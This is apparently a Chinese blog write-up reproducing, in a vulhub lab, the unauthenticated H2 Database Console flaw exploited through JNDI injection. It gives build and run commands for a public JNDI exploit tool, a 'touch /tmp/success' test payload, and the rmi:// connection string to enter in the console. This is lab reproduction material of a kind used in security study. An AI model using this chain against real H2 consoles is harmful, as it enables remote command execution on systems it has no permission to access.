天天看点

H2 Database Console 未授权访问复现

漏洞概述:

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true

spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

环境搭建

使用vulhub来安装环境

进入h2database//h2-console-unacc目录

docker-compose

build

docker-compose up -d

H2 Database Console 未授权访问复现

访问http://your-ip:8080/h2-console即可查看到H2 database的管理页面。

H2 Database Console 未授权访问复现

漏洞复现

Poc地址:

https://github.com/welk1n/JNDI-Injection-Exploit/#examples
           

使用git拉取,并用maven编译——安装maven教程:https://www.cnblogs.com/datangguott/p/14211357.html

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git              cd JNDI-Injection-Exploit              mvn clean package -DskipTests
           
H2 Database Console 未授权访问复现

编译好后,进入target目录,运行jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 127.0.0.1
           
H2 Database Console 未授权访问复现
Driver Class:填javax.naming.InitialContext
JDBC URL填rmi://127.0.0.1:1099/cziwap
           

然后连接

H2 Database Console 未授权访问复现

这里测试了一下,没成功,我又把127.0.0.1改成了自己的主机IP:

H2 Database Console 未授权访问复现
H2 Database Console 未授权访问复现

命令已经执行——即POC中的

H2 Database Console 未授权访问复现
H2 Database Console 未授权访问复现

修复建议

升级到安全版本

继续阅读